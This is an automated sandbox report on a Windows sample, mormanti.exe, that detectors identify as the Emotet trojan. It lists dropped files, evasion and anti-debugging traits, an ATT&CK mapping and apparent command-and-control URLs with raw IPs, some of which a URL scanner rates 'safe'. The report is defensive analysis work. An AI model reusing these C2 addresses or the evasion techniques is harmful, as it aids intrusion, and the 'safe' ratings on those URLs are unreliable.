Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DB23AF	0_2_02DB23AF
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DB253B	0_2_02DB253B
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DC2BFC	0_2_02DC2BFC
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DC2A70	0_2_02DC2A70

Source: mormanti.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mormanti.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mormanti.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mormanti.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mormanti.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mormanti.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: mormanti.exe, 00000000.00000002.203709994.0000000003060000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs mormanti.exe
Source: mormanti.exe, 00000000.00000002.203709994.0000000003060000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs mormanti.exe
Source: mormanti.exe, 00000000.00000002.203665960.0000000003000000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs mormanti.exe

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: mormanti.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@17/8@0/81

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:5024:120:WilError_01

Source: C:\Users\user\Desktop\mormanti.exe	Command line argument: schtasks.exe	0_2_00C121FD
Source: C:\Users\user\Desktop\mormanti.exe	Command line argument: 4096	0_2_00C121FD
Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Command line argument: schtasks.exe	2_2_00C121FD
Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Command line argument: 4096	2_2_00C121FD

Source: mormanti.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\mormanti.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: mormanti.exe	Virustotal: Detection: 74%
Source: mormanti.exe	ReversingLabs: Detection: 82%

Source: unknown	Process created: C:\Users\user\Desktop\mormanti.exe 'C:\Users\user\Desktop\mormanti.exe'
Source: C:\Users\user\Desktop\mormanti.exe	Process created: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\mormanti.exe	Process created: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable	Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9415_none_508df7e2bcbccb90\MSVCR90.dll

Jump to behavior

Source: mormanti.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: mormanti.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: mormanti.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: mormanti.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: mormanti.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: mormanti.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: mormanti.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: mormanti.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\DODO\Pictures\win32_memdc_src\Release\Win32_MemDC.pdb` source: mormanti.exe, 00000000.00000002.203184717.0000000000C14000.00000002.00020000.sdmp, eventvwr.exe, 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp
Source:	Binary string: C:\Users\DODO\Pictures\win32_memdc_src\Release\Win32_MemDC.pdb`@ source: mormanti.exe
Source:	Binary string: C:\Users\DODO\Pictures\win32_memdc_src\Release\Win32_MemDC.pdb source: mormanti.exe

Source: mormanti.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: mormanti.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: mormanti.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: mormanti.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: mormanti.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_00C12D89 push ecx; ret	0_2_00C12D9C
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_00C13121 push ecx; ret	0_2_00C13134
Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Code function: 2_2_00C12D89 push ecx; ret	2_2_00C12D9C
Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Code function: 2_2_00C13121 push ecx; ret	2_2_00C13134

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\Desktop\mormanti.exe

Executable created and started: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe

Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

PE file moved: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\mormanti.exe

File opened: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\Desktop\mormanti.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_0-6572

Source: C:\Windows\System32\svchost.exe TID: 3980

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\mormanti.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

Code function: 0_2_02DC2871 FindFirstFileW,FindNextFileW,FindClose,

0_2_02DC2871

Source: svchost.exe, 00000005.00000002.227092288.0000025121F40000.00000002.00000001.sdmp, svchost.exe, 00000008.00000002.276841534.000001F85F660000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.291456589.000001F7F1260000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.466345591.000001C4ADF40000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: svchost.exe, 00000006.00000002.466653401.0000022B0E460000.00000004.00000001.sdmp	Binary or memory string: @Hyper-V RAW
Source: eventvwr.exe, 00000002.00000003.394916417.00000000034DC000.00000004.00000001.sdmp, svchost.exe, 00000006.00000002.466637022.0000022B0E453000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000A.00000002.465149550.000001E006C02000.00000004.00000001.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000005.00000002.227092288.0000025121F40000.00000002.00000001.sdmp, svchost.exe, 00000008.00000002.276841534.000001F85F660000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.291456589.000001F7F1260000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.466345591.000001C4ADF40000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: svchost.exe, 00000005.00000002.227092288.0000025121F40000.00000002.00000001.sdmp, svchost.exe, 00000008.00000002.276841534.000001F85F660000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.291456589.000001F7F1260000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.466345591.000001C4ADF40000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: svchost.exe, 00000006.00000002.465518449.0000022B08E29000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW@aF
Source: svchost.exe, 0000000A.00000002.465212488.000001E006C29000.00000004.00000001.sdmp, svchost.exe, 0000000B.00000002.465407534.000001C4AD251000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.465492639.0000016AC822A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe, 00000005.00000002.227092288.0000025121F40000.00000002.00000001.sdmp, svchost.exe, 00000008.00000002.276841534.000001F85F660000.00000002.00000001.sdmp, svchost.exe, 00000009.00000002.291456589.000001F7F1260000.00000002.00000001.sdmp, svchost.exe, 0000000B.00000002.466345591.000001C4ADF40000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

Code function: 0_2_00C1272C IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

0_2_00C1272C

Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_00C11FF2 mov eax, dword ptr fs:[00000030h]	0_2_00C11FF2
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DB304D mov eax, dword ptr fs:[00000030h]	0_2_02DB304D
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DB0467 mov eax, dword ptr fs:[00000030h]	0_2_02DB0467
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DB277C mov eax, dword ptr fs:[00000030h]	0_2_02DB277C
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DC370E mov eax, dword ptr fs:[00000030h]	0_2_02DC370E
Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_02DC2E3D mov eax, dword ptr fs:[00000030h]	0_2_02DC2E3D
Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Code function: 2_2_00C11FF2 mov eax, dword ptr fs:[00000030h]	2_2_00C11FF2

Source: C:\Users\user\Desktop\mormanti.exe	Code function: 0_2_00C1272C IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		0_2_00C1272C
Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Code function: 2_2_00C1272C IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		2_2_00C1272C

Source: eventvwr.exe, 00000002.00000002.465850573.00000000019E0000.00000002.00000001.sdmp, svchost.exe, 0000000C.00000002.465566691.00000284E1A60000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: eventvwr.exe, 00000002.00000002.465850573.00000000019E0000.00000002.00000001.sdmp, svchost.exe, 0000000C.00000002.465566691.00000284E1A60000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: eventvwr.exe, 00000002.00000002.465850573.00000000019E0000.00000002.00000001.sdmp, svchost.exe, 0000000C.00000002.465566691.00000284E1A60000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: eventvwr.exe, 00000002.00000002.465850573.00000000019E0000.00000002.00000001.sdmp, svchost.exe, 0000000C.00000002.465566691.00000284E1A60000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\mormanti.exe

Code function: 0_2_00C12FF8 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00C12FF8

Source: C:\Windows\SysWOW64\msmpeg2vdec\eventvwr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: svchost.exe, 00000010.00000002.465576432.0000013FA9502000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000010.00000002.465525101.0000013FA943D000.00000004.00000001.sdmp	Binary or memory string: @\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.2.mormanti.exe.2db053f.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.eventvwr.exe.114053f.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mormanti.exe.2db053f.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.eventvwr.exe.114053f.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.465228013.0000000001140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.203541228.0000000002DC1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.203533038.0000000002DB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.465253689.0000000001151000.00000020.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	Process Injection2	Masquerading121	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	DLL Side-Loading1	Disable or Modify Tools1	LSASS Memory	Security Software Discovery41	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Native API1	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion2	Security Account Manager	Virtualization/Sandbox Evasion2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection2	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information1	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	DLL Side-Loading1	DCSync	System Information Discovery24	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mormanti.exe	75%	Virustotal		Browse
mormanti.exe	82%	ReversingLabs	Win32.Trojan.Emotet
mormanti.exe	100%	Avira	TR/Kryptik.vhuzo

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.2.eventvwr.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1138886	Download File
0.0.mormanti.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1138886	Download File
0.2.mormanti.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1138886	Download File
2.0.eventvwr.exe.c10000.0.unpack	100%	Avira	HEUR/AGEN.1138886	Download File
0.2.mormanti.exe.2db053f.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
2.2.eventvwr.exe.114053f.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://68.183.170.114/nFzrf7w0/EO2pZ/MQ0xve/	0%	Avira URL Cloud	safe
https://fs.microsoft.c	0%	Avira URL Cloud	safe
http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/	0%	Avira URL Cloud	safe
http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/	0%	Avira URL Cloud	safe
http://66.228.49.173:8080/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/s(KF	0%	Avira URL Cloud	safe
http://66.228.49.173/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/	0%	Avira URL Cloud	safe
http://149.62.173.247:8080/kH8ALNiaGV/5bEuMKuJNKlslD3n/rvXy2RpDwZlslOQBeY7/BCLTdgbwF6J8vsIGfDq/jZ9iV	0%	Avira URL Cloud	safe
http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/c	0%	Avira URL Cloud	safe
http://66.228.49.173:8080/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/	0%	Avira URL Cloud	safe
http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/CL:	0%	Avira URL Cloud	safe
http://149.62.173.247/kH8ALNiaGV/5bEuMKuJNKlslD3n/rvXy2RpDwZlslOQBeY7/BCLTdgbwF6J8vsIGfDq/jZ9iV8xFle	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/6O	0%	Avira URL Cloud	safe
http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/:	0%	Avira URL Cloud	safe
http://58.171.153.81/j4XmHhlvX7h4pe/uu11HumRcyQn/3XzJ/ymPM07W/vKmfGodTznrrD/	0%	Avira URL Cloud	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://68.183.170.114/nFzrf7w0/EO2pZ/MQ0xve/	eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://fs.microsoft.c	eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000E.00000002.309140351.00000265B8A3E000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000E.00000003.308695347.00000265B8A45000.00000004.00000001.sdmp	false		high
http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/	eventvwr.exe, 00000002.00000002.466095172.0000000002ED6000.00000004.00000001.sdmp, eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/	svchost.exe, 00000006.00000002.465692005.0000022B08EA3000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000E.00000002.309153516.00000265B8A42000.00000004.00000001.sdmp	false		high
http://72.47.248.48:7080/VTzYrEpbArBozqZBhS/	eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://66.228.49.173:8080/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/s(KF	eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://66.228.49.173/TyLIHl4nuj0XCeB/C12IKmccuoQw2U92z/	eventvwr.exe, 00000002.00000003.334420749.00000000034E1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000E.00000003.308632739.00000265B8A61000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000003.308646998.00000265B8A5C000.00000004.00000001.sdmp	false		high
http://149.62.173.247:8080/kH8ALNiaGV/5bEuMKuJNKlslD3n/rvXy2RpDwZlslOQBeY7/BCLTdgbwF6J8vsIGfDq/jZ9iV	eventvwr.exe, 00000002.00000003.394916417.00000000034DC000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000E.00000003.286870020.00000265B8A31000.00000004.00000001.sdmp	false		high
http://68.183.170.114:8080/nFzrf7w0/EO2pZ/MQ0xve/c	eventvwr.exe, 00000002.00000002.467254710.00000000034DB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000E.00000002.309153516.00000265B8A42000.00000004.00000001.sdmp	false		high
